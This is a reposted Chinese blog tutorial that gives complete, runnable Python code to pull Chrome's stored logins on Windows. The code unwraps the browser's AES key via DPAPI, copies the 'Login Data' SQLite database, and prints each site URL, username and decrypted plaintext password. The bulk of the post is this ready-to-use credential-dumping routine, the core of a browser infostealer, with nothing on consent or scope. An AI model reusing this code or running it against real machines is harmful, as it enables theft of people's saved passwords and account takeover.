个人中心
gpt4 book ai didi

如何使用Python提取Chrome浏览器保存的密码

转载 作者：qq735679552 更新时间：2022-09-27 22:32:09 28 4
gpt4 key购买 nike

CFSDN坚持开源创造价值，我们致力于搭建一个资源共享平台，让每一个IT人在这里找到属于你的精彩世界.

这篇CFSDN的博客文章如何使用Python提取Chrome浏览器保存的密码由作者收集整理，如果你对这篇文章有兴趣，记得点赞哟.

由于Chrome会将大量浏览数据本地保存磁盘中，在本教程中，我们将编写 Python 代码来提取 Windows 计算机上 Chrome 中保存的密码.

首先，让我们安装所需的库:

pip install pycryptodome pypiwin32 。

打开一个新的 Python 文件，并导入必要的模块:

?
1
2
3
4
5
6
7
8
import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
from datetime import timezone, datetime, timedelta

在直接进入提取 chrome密码之前，我们需要定义一些有用的函数来帮助我们在主函数中.

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
def get_chrome_datetime(chromedate):
     """从chrome格式的datetime返回一个`datetime.datetime`对象
因为'chromedate'的格式是1601年1月以来的微秒数"""
     return datetime( 1601 , 1 , 1 ) + timedelta(microseconds = chromedate)
 
def get_encryption_key():
     local_state_path = os.path.join(os.environ[ "USERPROFILE" ], "AppData" , "Local" , "Google" , "Chrome" , "User Data" , "Local State" )
     with open (local_state_path, "r" , encoding = "utf-8" ) as f:
         local_state = f.read()
         local_state = json.loads(local_state)
 
     # 从Base64解码加密密钥
     key = base64.b64decode(local_state[ "os_crypt" ][ "encrypted_key" ])
     # 删除 DPAPI str
     key = key[ 5 :]
     # 返回最初加密的解密密钥
     # 使用从当前用户的登录凭据派生的会话密钥
     # 官方文档doc: http://timgolden.me.uk/pywin32-docs/win32crypt.html
     return win32crypt.CryptUnprotectData(key, None , None , None , 0 )[ 1 ]
 
 
def decrypt_password(password, key):
     try :
         # 获取初始化向量
         iv = password[ 3 : 15 ]
         password = password[ 15 :]
         # 生成密码
         cipher = AES.new(key, AES.MODE_GCM, iv)
         # 解密密码
         return cipher.decrypt(password)[: - 16 ].decode()
     except :
         try :
             return str (win32crypt.CryptUnprotectData(password, None , None , None , 0 )[ 1 ])
         except :
             # not supported
             return ""
  • get_chrome_datetime()函数负责将 chrome 日期格式转换为人类可读的日期时间格式。
  • get_encryption_key()函数提取并解码用于加密密码的AES密钥，这"%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Local State"作为 JSON 文件存储在路径中
  • decrypt_password() 将加密密码和 AES 密钥作为参数，并返回密码的解密版本。

下面是main主要功能:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def main():
     # 获取AES密钥
     key = get_encryption_key()
     # 本地sqlite Chrome数据库路径
     db_path = os.path.join(os.environ[ "USERPROFILE" ], "AppData" , "Local" , "Google" , "Chrome" , "User Data" , "default" , "Login Data" )
     # 将文件复制到其他位置
     # 因为如果chrome当前正在运行，数据库将被锁定
     filename = "ChromeData.db"
     shutil.copyfile(db_path, filename)
     # 连接数据库
     db = sqlite3.connect(filename)
     cursor = db.cursor()
     # 登录表中有我们需要的数据
     cursor.execute( "select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created" )
     # iterate over all rows
     for row in cursor.fetchall():
         origin_url = row[ 0 ]
         action_url = row[ 1 ]
         username = row[ 2 ]
         password = decrypt_password(row[ 3 ], key)
         date_created = row[ 4 ]
         date_last_used = row[ 5 ]       
         if username or password:
             print (f "Origin URL: {origin_url}" )
             print (f "Action URL: {action_url}" )
             print (f "Username: {username}" )
             print (f "Password: {password}" )
         else :
             continue
         if date_created ! = 86400000000 and date_created:
             print (f "Creation date: {str(get_chrome_datetime(date_created))}" )
         if date_last_used ! = 86400000000 and date_last_used:
             print (f "Last Used: {str(get_chrome_datetime(date_last_used))}" )
         print ( "=" * 50 )
     cursor.close()
     db.close()
     try :
         # 尝试删除复制的db文件
         os.remove(filename)
     except :
         pass

首先，我们使用之前定义的get_encryption_key()函数获取加密密钥，然后我们将 sqlite 数据库（位于"%USERPROFILE%\AppData\Local\Google\Chrome\User Data\default\Login Data"保存密码的位置）复制到当前目录并连接到它，这是因为原始数据库文件将被锁定Chrome 当前正在运行.

之后，我们对登录表进行选择查询并遍历所有登录行，我们还解密每个密码date_created并将date_last_used日期时间重新格式化为更易于阅读的格式.

最后，我们打印凭据并从当前目录中删除数据库副本.

让我们调用主函数，完美提取Chrome浏览器保存的密码:

如何使用Python提取Chrome浏览器保存的密码

完整代码 。

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
from datetime import  datetime, timedelta
 
def get_chrome_datetime(chromedate):
     """从chrome格式的datetime返回一个`datetime.datetime`对象
因为'chromedate'的格式是1601年1月以来的微秒数"""
     return datetime( 1601 , 1 , 1 ) + timedelta(microseconds = chromedate)
 
def get_encryption_key():
     local_state_path = os.path.join(os.environ[ "USERPROFILE" ],
                                     "AppData" , "Local" , "Google" , "Chrome" ,
                                     "User Data" , "Local State" )
     with open (local_state_path, "r" , encoding = "utf-8" ) as f:
         local_state = f.read()
         local_state = json.loads(local_state)
 
     key = base64.b64decode(local_state[ "os_crypt" ][ "encrypted_key" ])
   
     key = key[ 5 :]
    
     return win32crypt.CryptUnprotectData(key, None , None , None , 0 )[ 1 ]
 
 
def decrypt_password(password, key):
     try :
         iv = password[ 3 : 15 ]
         password = password[ 15 :]
         cipher = AES.new(key, AES.MODE_GCM, iv)
         return cipher.decrypt(password)[: - 16 ].decode()
     except :
         try :
             return str (win32crypt.CryptUnprotectData(password, None , None , None , 0 )[ 1 ])
         except :
             # not supported
             return ""
 
 
def main():
     key = get_encryption_key()
     db_path = os.path.join(os.environ[ "USERPROFILE" ], "AppData" , "Local" ,
                             "Google" , "Chrome" , "User Data" , "default" , "Login Data" )
     filename = "ChromeData.db"
     shutil.copyfile(db_path, filename)
     db = sqlite3.connect(filename)
     cursor = db.cursor()
     cursor.execute( "select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created" )
     # iterate over all rows
     for row in cursor.fetchall():
         origin_url = row[ 0 ]
         action_url = row[ 1 ]
         username = row[ 2 ]
         password = decrypt_password(row[ 3 ], key)
         date_created = row[ 4 ]
         date_last_used = row[ 5 ]       
         if username or password:
             print (f "Origin URL: {origin_url}" )
             print (f "Action URL: {action_url}" )
             print (f "Username: {username}" )
             print (f "Password: {password}" )
         else :
             continue
         if date_created ! = 86400000000 and date_created:
             print (f "Creation date: {str(get_chrome_datetime(date_created))}" )
         if date_last_used ! = 86400000000 and date_last_used:
             print (f "Last Used: {str(get_chrome_datetime(date_last_used))}" )
         print ( "=" * 50 )
 
     cursor.close()
     db.close()
     try :
         # try to remove the copied db file
         os.remove(filename)
     except :
         pass
 
 
if __name__ = = "__main__" :
     main()

以上就是教你用Python提取Chrome浏览器保存的密码的详细内容，更多关于Python提取Chrome浏览器保存的密码的资料请关注我其它相关文章！ 。

原文链接：https://blog.csdn.net/weixin_44510615/article/details/117712414 。

最后此篇关于如何使用Python提取Chrome浏览器保存的密码的文章就讲到这里了,如果你想了解更多关于如何使用Python提取Chrome浏览器保存的密码的内容请搜索CFSDN的文章或继续浏览相关文章，希望大家以后支持我的博客！ 。

28 4 0
文章推荐： python assert的用处示例详解
文章推荐： VSCode配置C/C++并添加非工作区头文件的方法
文章推荐： 使用Python操作FTP实现上传和下载的方法
文章推荐： 浅析VSCode tasks.json中的各种替换变量的意思 ${workspaceFolder} ${file} ${fileBasename} ${fileDirname}等
qq735679552
个人简介

我是一名优秀的程序员,十分优秀！

滴滴打车优惠券免费领取
滴滴打车优惠券
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com